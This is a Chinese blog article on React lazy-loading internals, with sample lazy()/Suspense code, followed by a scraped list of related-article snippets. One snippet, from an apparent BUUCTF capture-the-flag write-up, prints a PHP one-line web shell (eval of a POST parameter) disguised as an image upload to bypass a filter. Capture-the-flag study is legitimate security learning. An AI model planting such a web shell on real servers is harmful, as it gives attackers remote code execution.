React 懒加载源码实现

懒加载

React 中懒加载是一种按需加载组件的机制,有些组件不需要在页面初始化就进行加载,这些组件可以按需加载,当需要时再进行加载。懒加载是怎么实现的呢?如果要实现一个懒加载功能应该怎么去做呢?可以通过异步动态加载组件 import()
进行实现,把组件理解为远程数据,去网络下载组件,下载完成之后通知页面并进行渲染 。同时将懒加载组件作为Suspense的子组件,没有渲染完成时显示“加载中…”。

实现懒加载

简单的实现一个 lazy 方法,传入 ()=>import(‘./Component.js’),首次渲染时进行加载。

function lazy(load) {
  const moduleLoader = createModuleLoader(load);
  return function (props) {
    const Component = moduleLoader.loadModule();
    return <Component {...props} />;
  };
}

const createModuleLoader = (load) => {
  return {
    module: null,
    promise: null,
    loadModule() {
     //已加载直接返回
     if (this.module != null) {
        return this.module
      }
      if (this.promise == null) {
        this.promise = load().then(
          (res) => {
            this.module = res.default;
          },
          (error) => {
            this.error = error;
          }
        );
      }
    },
  };
};

React中懒加载的实现

首先创建 React 懒加载代码

export default function App() {

   //懒加载 List 组件
  const AList = lazy(()=>import('./List.js'))
  const r = useRef(null)  
  const [show, setShow] = useState(false);
  
  return (
    <>
    <button onClick={()=>{
        setShow(!show)
        console.log("asdf")
      }} >加载组件</button>
      {show ? 
      <Suspense fallback="loading">
        <AList items={[{id:1, text:"123"}]}>asdf</AList>
        </Suspense>
      :""}
    </>
  );
}
  1. 由以下代码可以看出,lazy 返回了 elementType,值为REACT_LAZY_TYPE
    在这里插入图片描述
  2. Lazy 懒加载的组件在以下代码中初始化
    在这里插入图片描述
  3. 可以看到 ctor 是我们传入 import 代码
    在这里插入图片描述
  4. 返回 pending 状态,此时显示加载中
    在这里插入图片描述
  5. 组件加载成功,可以正常显示。
    在这里插入图片描述

lazy 对应的 elementType

懒加载在 React 中是一个特别 elementType,下图中是React 定义的 ElementType
在这里插入图片描述
从 Lazy Element 创建 Lazy Fiber,fiberTag 为 LazyComponent
在这里插入图片描述
绑定并渲染 Fiber lazyComponent
在这里插入图片描述
更新组件
在这里插入图片描述

总结

React 懒加载底层原理是动态引入,由于需要构建 Fiber,React 需要将 lazyComponent 转为 Fiber 节点并最终进行渲染。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/699323.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

专业学习|博弈论-课程改革

学习来源&#xff1a;北京大学刘霖《博弈论》MOOC公开课 备注&#xff1a;仅做学习分享&#xff0c;请勿转载&#xff0c;转载必究&#xff01; &#xff08;一&#xff09;博弈论的预备知识 基本的微积分的知识和概率论的知识。简单的说会求导数&#xff0c;会求简单的积分&am…

BUUCTF---web---[SUCTF 2019]CheckIn

1、点击题目连接来到页面 2、上传正常的jpg文件&#xff0c;提示内容不能有<?。本来打算上传图片马&#xff0c;但是有过滤 3、可以改成下面的图片马&#xff1a; <script languagephp>eval($_POST[cmd]);</script> 4、将上面的一句话木马先写成txt再修改后缀为…

01_基于人脸的常见表情识别实战_深度学习基础知识

1. 感知机 感知机通常情况下指单层的人工神经网络,其结构与 MP 模型类似(按照生物神经元的结构和工作原理造出来的一个抽象和简化了模型,也称为神经网络的一个处理单元) 假设由一个 n 维的单层感知机,则: x 1 x_1 x1​ 至 x n x_n xn​ 为 n 维输入向量的各个分量w 1 j…

【C语言】一篇带你高强度解析精通 字符串函数和内存函数 (万字总结大全,含思维导图)(建议收藏!!!)

【 库函数】——字符串函数和内存函数 目录 思维导图&#xff1a; 一&#xff1a;字符串函数 1.1&#xff1a;字符串常规函数 1.1.1&#xff1a;长度不受限制的字符串函数 1.1.1.1&#xff1a;strlen函数 1.1.1.2&#xff1a;strcpy函数 1.1.1.3&#xff1a;strcat函数 …

芯片级激光器研发取得新进展

欢迎关注GZH《光场视觉》 自 20 世纪 60 年代以来&#xff0c;激光给世界带来了革命性的变化&#xff0c;如今已成为从尖端手术和精密制造到光纤数据传输等现代应用中不可或缺的工具。 但是&#xff0c;随着激光应用需求的增长&#xff0c;挑战也随之而来。例如&#xff0c;光…

勒索病毒搜索引擎

360勒索病毒搜索引擎 https://lesuobingdu.360.cn/ 腾讯勒索病毒搜索引擎 https://guanjia.qq.com/pr/ls/ VenusEye勒索病毒搜索引擎 https://lesuo.venuseye.com.cn/ 奇安信勒索病毒搜索引擎 https://lesuobingdu.qianxin.com/index/getFile 深信服勒索病毒搜索引擎…

idea插件开发之hello idea plugin

写在前面 最近一直想研究下自定义idea插件的内容&#xff0c;这样如果是想要什么插件&#xff0c;但又一时找不到合适的&#xff0c;就可以自己来搞啦&#xff01;这不终于有时间来研究下&#xff0c;但过程可谓是一波三折&#xff0c;再一次切身体验了下万事开头难。那么&…

如何用Vue3打造一个逼真的3D手机模型

本文由ScriptEcho平台提供技术支持 项目地址&#xff1a;传送门 手机界面卡片功能实现 应用场景介绍 本代码片段适用于构建移动设备或网页端界面的手机卡片功能。它可以通过简单的HTML、CSS和JavaScript实现一个具有逼真视觉效果和交互功能的手机卡片。 基本功能介绍 该代…

Project 项目管理软件真的好用吗?

作为一个普通的职场人&#xff0c;或许只要掌握office全家桶&#xff0c;即可应对大部分工作。 但对项目经理来说&#xff0c;这是远远不够的。项目经理需要实时掌握项目进度、把关项目质量、应对项目风险、实时分析项目数据&#xff0c;做出正确的决策等等… 而拥有一款高效…

浅谈DALL-E2

目录 1.概述 2.诞生背景 3.作用 4.版本历史 5.模型和技术 6.应用场景 6.1.十个应用场景 6.2.游戏开发 7.接口 8.未来展望 9.总结 1.概述 DALL-E2 是由 OpenAI 开发的一个图像生成模型&#xff0c;可以根据文本描述生成高质量的图像。DALL-E2 是 DALL-E 的升级版&am…

IBM,开始构建以量子为中心的超级计算机

6月6日&#xff0c;IBM与Pasqal宣布了一项重大合作!IBM和Pasqal打算合作开发一种以量子为中心的超级计算的通用方法并促进化学和材料科学的应用研究。IBM和Pasqal将与高性能计算领域的领先机构合作&#xff0c;为以量子为中心的超级计算奠定基础——将量子计算与先进的经典计算…

用于每个平台的最佳WordPress LMS主题

你已选择在 WordPress 上构建学习管理系统 (LMS)了。恭喜&#xff01; 你甚至可能已经选择了要使用的 LMS 插件&#xff0c;这已经是成功的一半了。 现在是时候弄清楚哪个 WordPress LMS 主题要与你的插件配对。 我将解释 LMS 主题和插件之间的区别&#xff0c;以便你了解要…

使用lombok帮我们生成 getter、setter、无参构造器、全参构造器、equals、hashcode

文章目录 为什么要使用lombok&#xff1f;lombok的使用步骤1.检查 idea 是否安装 lombok 插件2.检查是否勾选了 enable annotation processing3.导入 lombok.jar 并加入到模块中4.在实体类添加注解 测试 为什么要使用lombok&#xff1f; lombok可以帮我们生成 getter、setter、…

MySQL-数据处理函数(-1)

033-数据处理函数之获取日期时间 now()&#xff1a;获取的是执行select语句的时刻。sysdate()&#xff1a;获取的是执行sysdate()函数的时刻。 select now(), sleep(2), sysdate();获取当前日期 select curdate(); select current_date(); select current_date;获取当前时间…

超详解——Python 编程中的类型和对象深入探讨——基础篇

目录 1. 内建类型的布尔值 1.1 布尔值的基本规则 1.2 进阶应用 2. 对象身份的比较 2.1 基本概念 2.2 示例代码 2.3 实际应用 3. 对象类型比较 3.1 基本概念 3.2 示例代码 3.3 实际应用 4. 类型工厂函数 4.1 常见的类型工厂函数 4.2 示例代码 4.3 实际应用 5. P…

Docker 安装gitLab

目录 1. 安装 Docker 2. 拉取 GitLab 镜像 3. 创建并运行 GitLab 容器 4. 登录GitLab 修改下载地址 修改账号密码 前言-与正文无关 生活远不止眼前的苦劳与奔波&#xff0c;它还充满了无数值得我们去体验和珍惜的美好事物。在这个快节奏的世界中&#xff0c;我们往往容易…

CISP究竟适合谁?这四类人没跑了

在信息技术飞速发展的现在&#xff0c;网络安全已经成为了一个不可忽视的话题。 CISP&#xff0c;即注册信息安全专业人员&#xff0c;是网络安全领域内一项备受认可的专业认证。 但CISP究竟适合谁考呢&#xff1f;这不仅是一个技术问题&#xff0c;更是一个职业规划的问题。…

fastadmin/thinkPHP5.0的框架使用注意事项

0.主要链接 一张图解析表格 数据表规划一定要做好,省的做的时候很乱,一会要改一下,就特别麻烦 在线命令生成crud的时候一定不要填写自定义控制器名,要让他自己生成,否则后面你要修改东西还需要再找.默认的永远能知道在哪里 在线命令生成的时候,可以试着删除一下(不会成功),但…

Shell脚本和变量

文章目录 Shell脚本shell的解释器Shell的作用Shell脚本的构成Shell的执行方式 重定向操作变量变量的类型&#xff1a;变量名的规范变量值的规范整数运算 &#xff0b; &#xff0d; / %小数运算 小数运算 Shell脚本 脚本就是可运行的代码的集合&#xff0c;脚本语言&#xff…

清华出品,开源最强,我又出手了(全网首发!)

清华出品的ChatGLM-6B自开源那刻起&#xff0c;GLM系列的每一次更新都受到了业界的热切关注。尤其是ChatGLM第3代开源之后&#xff0c;其强大和适配性让很多人惊叹&#xff0c;之后大家对GLM的第4代模型充满了期待。终于&#xff0c;今天它来了&#xff01;我要为大家介绍的是这…